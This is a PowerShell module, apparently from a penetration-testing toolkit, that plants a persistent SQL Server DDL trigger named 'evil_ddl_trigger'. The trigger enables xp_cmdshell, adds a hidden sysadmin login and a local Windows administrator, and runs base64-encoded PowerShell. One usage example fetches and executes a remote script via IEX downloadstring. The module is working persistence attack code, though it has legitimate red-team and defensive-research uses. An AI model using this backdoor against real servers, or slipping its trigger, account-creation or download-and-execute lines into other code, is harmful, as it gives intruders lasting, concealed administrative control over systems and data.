scripts/pending/Invoke-SqlServer-Persist-TriggerDDL.psm1

function Invoke-SqlServer-Persist-TriggerDDL
{
    <#
    .SYNOPSIS
    This script can be used backdoor a Windows system using a SQL Server DDL event triggers.
 
    .DESCRIPTION
    This script can be used backdoor a Windows system using a SQL Server DDL event triggers.
    As a result, the associated TSQL will execute when any DDL_SERVER_LEVEL_EVENTS occur. This script supports the executing operating system
    and PowerShell commands as the SQL Server service account using the native xp_cmdshell stored procedure.
    The script also support add a new sysadmin. This script can be run as the current Windows user or a
    SQL Server login can be provided. Note: This script requires sysadmin privileges. The DDL_SERVER_LEVEL_EVENTS include:
 
    CREATE DATABASE
    ALTER DATABASE
    DROP DATABASE
    CREATE_ENDPOINT
    ALTER_ENDPOINT
    DROP_ENDPOINT
    ADD_ROLE_MEMBER
    DROP_ROLE_MEMBER
    ADD_SERVER_ROLE_MEMBER
    DROP_SERVER_ROLE_MEMBER
    ALTER_AUTHORIZATION_SERVER
    DENY_SERVER
    GRANT_SERVER
    REVOKE_SERVER
    ALTER_LOGIN
    CREATE_LOGIN
    DROP_LOGIN
     
    Feel free to change "DDL_SERVER_LEVEL_EVENTS" to "DDL_EVENTS" if you want more coverage, but I haven't had time to test it.
 
    .EXAMPLE
    Create a DDL trigger to add a new sysadmin. The example shows the script being run using a SQL Login.
 
    PS C:\> Invoke-SqlServer-Persist-TriggerDDL -SqlServerInstance "SERVERNAME\INSTANCENAME" -SqlUser MySQLAdmin -SqlPass MyPassword123! -NewSqlUser mysqluser -NewSqlPass NewPassword123!
 
    .EXAMPLE
    Create a DDL trigger to add a local administrator to the Windows OS via xp_cmdshell. The example shows the script
    being run as the current windows user.
 
    PS C:\> Invoke-SqlServer-Persist-TriggerDDL -SqlServerInstance "SERVERNAME\INSTANCENAME" -NewOsUser myosuser -NewOsPass NewPassword123!
 
    .EXAMPLE
    Create a DDL trigger to run a PowerShell command via xp_cmdshell. The example below downloads a PowerShell script and
    from the internet and executes it. The example shows the script being run as the current Windows user.
 
    PS C:\> Invoke-SqlServer-Persist-TriggerDDL -Verbose -SqlServerInstance "SERVERNAME\INSTANCENAME" -PsCommand "IEX(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/nullbind/Powershellery/master/Brainstorming/helloworld.ps1')"
     
    .EXAMPLE
    Remove evil_DDL_trigger as the current Windows user.
 
    PS C:\> Invoke-SqlServer-Persist-TriggerDDL -Verbose -SqlServerInstance "SERVERNAME\INSTANCENAME" -Remove
 
    .LINK
    http://www.netspi.com
    https://technet.microsoft.com/en-us/library/ms186582(v=sql.90).aspx
 
    .NOTES
    Author: Scott Sutherland - 2016, NetSPI
    Version: Invoke-SqlServer-Persist-TriggerDDL.psm1 v1.0
    #>


  [CmdletBinding()]
  Param(
    
    [Parameter(Mandatory=$false,
    HelpMessage='Set SQL Login username.')]
    [string]$SqlUser,
    
    [Parameter(Mandatory=$false,
    HelpMessage='Set SQL Login password.')]
    [string]$SqlPass,

    [Parameter(Mandatory=$false,
    HelpMessage='Set username for new SQL Server sysadmin login.')]
    [string]$NewSqlUser,
    
    [Parameter(Mandatory=$false,
    HelpMessage='Set password for new SQL Server sysadmin login.')]
    [string]$NewSqlPass,

    [Parameter(Mandatory=$false,
    HelpMessage='Set username for new Windows local administrator account.')]
    [string]$NewOsUser,
    
    [Parameter(Mandatory=$false,
    HelpMessage='Set password for new Windows local administrator account.')]
    [string]$NewOsPass,

    [Parameter(Mandatory=$false,
    HelpMessage='Create trigger that will run the provide PowerShell command.')]
    [string]$PsCommand,

    [Parameter(Mandatory=$true,
    HelpMessage='Set target SQL Server instance.')]
    [string]$SqlServerInstance,

    [Parameter(Mandatory=$false,
    HelpMessage='This will remove the trigger named evil_DDL_trigger create by this script.')]
    [Switch]$Remove
  )

    # -----------------------------------------------
    # Setup database connection string
    # -----------------------------------------------
    
    # Create fun connection object
    $conn = New-Object System.Data.SqlClient.SqlConnection
    
    # Set authentication type and create connection string
    if($SqlUser){
    
        # SQL login / alternative domain credentials
         Write-Output "[*] Attempting to authenticate to $SqlServerInstance with SQL login $SqlUser..."
        $conn.ConnectionString = "Server=$SqlServerInstance;Database=master;User ID=$SqlUser;Password=$SqlPass;"
        [string]$ConnectUser = $SqlUser
    }else{
            
        # Trusted connection
        Write-Output "[*] Attempting to authenticate to $SqlServerInstance as the current Windows user..."
        $conn.ConnectionString = "Server=$SqlServerInstance;Database=master;Integrated Security=SSPI;"   
        $UserDomain = [Environment]::UserDomainName
        $Username = [Environment]::UserName
        $ConnectUser = "$UserDomain\$Username"                    
     }


    # -------------------------------------------------------
    # Test database connection
    # -------------------------------------------------------

    try{
        $conn.Open()
        Write-Host "[*] Connected." 
        $conn.Close()
    }catch{
        $ErrorMessage = $_.Exception.Message
        Write-Host "[*] Connection failed" -foreground "red"
        Write-Host "[*] Error: $ErrorMessage" -foreground "red"  
        Break
    }


    # -------------------------------------------------------
    # Check if the user is a sysadmin
    # -------------------------------------------------------

    # Open db connection
    $conn.Open()

    # Setup query
    $Query = "select is_srvrolemember('sysadmin') as sysstatus"

    # Execute query
    $cmd = New-Object System.Data.SqlClient.SqlCommand($Query,$conn)
    $results = $cmd.ExecuteReader() 

    # Parse query results
    $TableIsSysAdmin = New-Object System.Data.DataTable
    $TableIsSysAdmin.Load($results)  

    # Check if current user is a sysadmin
    $TableIsSysAdmin | Select-Object -First 1 sysstatus | foreach {

        $Checksysadmin = $_.sysstatus
        if ($Checksysadmin -ne 0){
            Write-Host "[*] Confirmed Sysadmin access."                             
        }else{
            Write-Host "[*] The current user does not have sysadmin privileges." -foreground "red"
            Write-Host "[*] Sysadmin privileges are required." -foreground "red"
            Break
        }
    }

    # Close db connection
    $conn.Close()

    # -------------------------------------------------------
    # Enabled Show Advanced Options - needed for xp_cmdshell
    # -------------------------------------------------------
    
    # Status user
    Write-Host "[*] Enabling 'Show Advanced Options', if required..."
    
    # Open db connection
    $conn.Open()

    # Setup query
    $Query = "IF (select value_in_use from sys.configurations where name = 'Show Advanced Options') = 0
    EXEC ('sp_configure ''Show Advanced Options'',1;RECONFIGURE')"


    # Execute query
    $cmd = New-Object System.Data.SqlClient.SqlCommand($Query,$conn)
    $results = $cmd.ExecuteReader() 
        
    # Close db connection
    $conn.Close()    
    

    # -------------------------------------------------------
    # Enabled xp_cmdshell - needed for os commands
    # -------------------------------------------------------

    Write-Host "[*] Enabling 'xp_cmdshell', if required..."  
    
    # Open db connection
    $conn.Open()

    # Setup query
    $Query = "IF (select value_in_use from sys.configurations where name = 'xp_cmdshell') = 0
    EXEC ('sp_configure ''xp_cmdshell'',1;RECONFIGURE')"


    # Execute query
    $cmd = New-Object System.Data.SqlClient.SqlCommand($Query,$conn)
    $results = $cmd.ExecuteReader() 
        
    # Close db connection
    $conn.Close()  


    # -------------------------------------------------------
    # Check if the service account is local admin
    # -------------------------------------------------------
    
    Write-Host "[*] Checking if service account is a local administrator..."  

    # Open db connection
    $conn.Open()

    # Setup query
    $Query = @"
 
                        -- Setup reg path
                        DECLARE @SQLServerInstance varchar(250)
                        if @@SERVICENAME = 'MSSQLSERVER'
                        BEGIN
                            set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQLSERVER'
                        END
                        ELSE
                        BEGIN
                            set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQL$'+cast(@@SERVICENAME as varchar(250))
                        END
 
                        -- Grab service account from service's reg path
                        DECLARE @ServiceaccountName varchar(250)
                        EXECUTE master.dbo.xp_instance_regread
                        N'HKEY_LOCAL_MACHINE', @SQLServerInstance,
                        N'ObjectName',@ServiceAccountName OUTPUT, N'no_output'
 
                        DECLARE @MachineType SYSNAME
                        EXECUTE master.dbo.xp_regread
                        @rootkey = N'HKEY_LOCAL_MACHINE',
                        @key = N'SYSTEM\CurrentControlSet\Control\ProductOptions',
                        @value_name = N'ProductType',
                        @value = @MachineType output
                         
                        -- Grab more info about the server
                        SELECT @ServiceAccountName as SvcAcct
"@


    # Execute query
    $cmd = New-Object System.Data.SqlClient.SqlCommand($Query,$conn)
    $results = $cmd.ExecuteReader() 

    # Parse query results
    $TableServiceAccount = New-Object System.Data.DataTable
    $TableServiceAccount.Load($results)  
    $SqlServeServiceAccountDirty = $TableServiceAccount | select SvcAcct -ExpandProperty SvcAcct 
    $SqlServeServiceAccount = $SqlServeServiceAccountDirty -replace '\.\\',''
        
    # Close db connection
    $conn.Close() 

    # Open db connection
    $conn.Open()

    # Setup query
    $Query = "EXEC master..xp_cmdshell 'net localgroup Administrators';"

    # Execute query
    $cmd = New-Object System.Data.SqlClient.SqlCommand($Query,$conn)
    $results = $cmd.ExecuteReader() 

    # Parse query results
    $TableServiceAccountPriv = New-Object System.Data.DataTable
    $TableServiceAccountPriv.Load($results)  
        
    # Close db connection
    $conn.Close()  

    if($SqlServeServiceAccount -eq "LocalSystem" -or $TableServiceAccountPriv -contains "$SqlServeServiceAccount"){
        Write-Host "[*] The service account $SqlServeServiceAccount has local administrator privileges."  
        $SvcAdmin = 1
    }else{
        Write-Host "[*] The service account $SqlServeServiceAccount does NOT have local administrator privileges." 
        $SvcAdmin = 0 
    }

    # -------------------
    # Setup the pscommand
    # -------------------
    $Query_PsCommand = ""
     if($PsCommand){

        # Status user
        Write-Host "[*] Creating encoding PowerShell payload..." -foreground "green"
        
        # Check for local administrator privs
        if($SvcAdmin -eq 0){
            Write-Host "[*] Note: PowerShell won't be able to take administrative actions due to the service account configuration." -foreground "green"
        }

        # This encoding method was based on a function by Carlos Perez
        # https://raw.githubusercontent.com/darkoperator/Posh-SecMod/master/PostExploitation/PostExploitation.psm1

        # Encode PowerShell command
        $CmdBytes = [Text.Encoding]::Unicode.GetBytes($PsCommand)
        $EncodedCommand = [Convert]::ToBase64String($CmdBytes)

        # Check if PowerShell command is too long
        If ($EncodedCommand.Length -gt 8100)
        {
            Write-Host "PowerShell encoded payload is too long so the PowerShell command will not be added." -foreground "red"
        }else{

            # Create query
            $Query_PsCommand = "EXEC master..xp_cmdshell ''PowerShell -enc $EncodedCommand'';" 

            Write-Host "[*] Payload generated." -foreground "green"
        }
    }else{
        Write-Host "[*] Note: No PowerShell will be executed, because the parameters weren't provided." 
    }

    # -------------------
    # Setup newosuser
    # -------------------
    $Query_OsAddUser = ""
    if($NewOsUser){

        # Status user
        Write-Host "[*] Creating payload to add OS user..." -foreground "green"

        # Check for local administrator privs
        if($SvcAdmin -eq 0){

            # Status user
            Write-Host "[*] The service account does not have local administrator privileges so no OS admin can be created. Aborted."
            Break
        }else{

            # Create query
            $Query_OsAddUser = "EXEC master..xp_cmdshell ''net user $NewOsUser $NewOsPass /add & net localgroup administrators /add $NewOsUser'';"

            # Status user
            Write-Host "[*] Payload generated." -foreground "green"
        }
    }else{
        Write-Host "[*] Note: No OS admin will be created, because the parameters weren't provided." 
    }
    
    # -----------------------
    # Setup add sysadmin user
    # -----------------------
    $Query_SysAdmin = ""
    if($NewSqlUser){

        # Status user
        Write-Host "[*] Generating payload to add sysadmin..." -foreground "green" 
        
        # Create query
        $Query_SysAdmin = "IF NOT EXISTS (SELECT * FROM sys.syslogins WHERE name = ''$NewSqlUser'')
        exec(''CREATE LOGIN $NewSqlUser WITH PASSWORD = ''''$NewSqlPass'''';EXEC sp_addsrvrolemember ''''$NewSqlUser'''', ''''sysadmin'''';'')"


        # Status user
        Write-Host "[*] Payload generated." -foreground "green"
    }else{
        Write-Host "[*] Note: No sysadmin will be created, because the parameters weren't provided." 
    }

    # -------------------------------------------------------
    # Create DDL trigger
    # -------------------------------------------------------
    if(($NewSqlUser) -or ($NewOsUser) -or ($PsCommand)){
        # Status user
        Write-Host "[*] Creating trigger..." -foreground "green"

        # ---------------------------
        # Create procedure
        # ---------------------------

        # Open db connection
        $conn.Open()

        # Setup query
        $Query = "IF EXISTS (SELECT * FROM sys.server_triggers WHERE name = 'evil_ddl_trigger')
        DROP TRIGGER [evil_ddl_trigger] ON ALL SERVER
        exec('CREATE Trigger [evil_ddl_trigger]
        on ALL Server
        For DDL_SERVER_LEVEL_EVENTS
        AS
        $Query_OsAddUser $Query_SysAdmin $Query_PsCommand')"


        $cmd = New-Object System.Data.SqlClient.SqlCommand($Query,$conn)
        $results = $cmd.ExecuteReader() 
        
        # Close db connection
        $conn.Close()

         Write-Host "[*] The evil_ddl_trigger trigger has been added." -foreground "green"
    }else{
        Write-Host "[*] No options were provided." -foreground "red"
    }

    # -------------------------------------------------------
    # REmove DDL trigger
    # -------------------------------------------------------
    if($Remove){

        # Status user
        Write-Host "[*] Removing trigger named evil_DDL_trigger..." 

        # ---------------------------
        # Create procedure
        # ---------------------------

        # Open db connection
        $conn.Open()

        # Setup query
        $Query = "IF EXISTS (SELECT * FROM sys.server_triggers WHERE name = 'evil_ddl_trigger')
        DROP TRIGGER [evil_ddl_trigger] ON ALL SERVER"


        $cmd = New-Object System.Data.SqlClient.SqlCommand($Query,$conn)
        $results = $cmd.ExecuteReader() 
        
        # Close db connection
        $conn.Close()

        Write-Host "[*] The evil_ddl_trigger trigger has been been removed." -foreground "green"
    }

    Write-Host "[*] All done."
}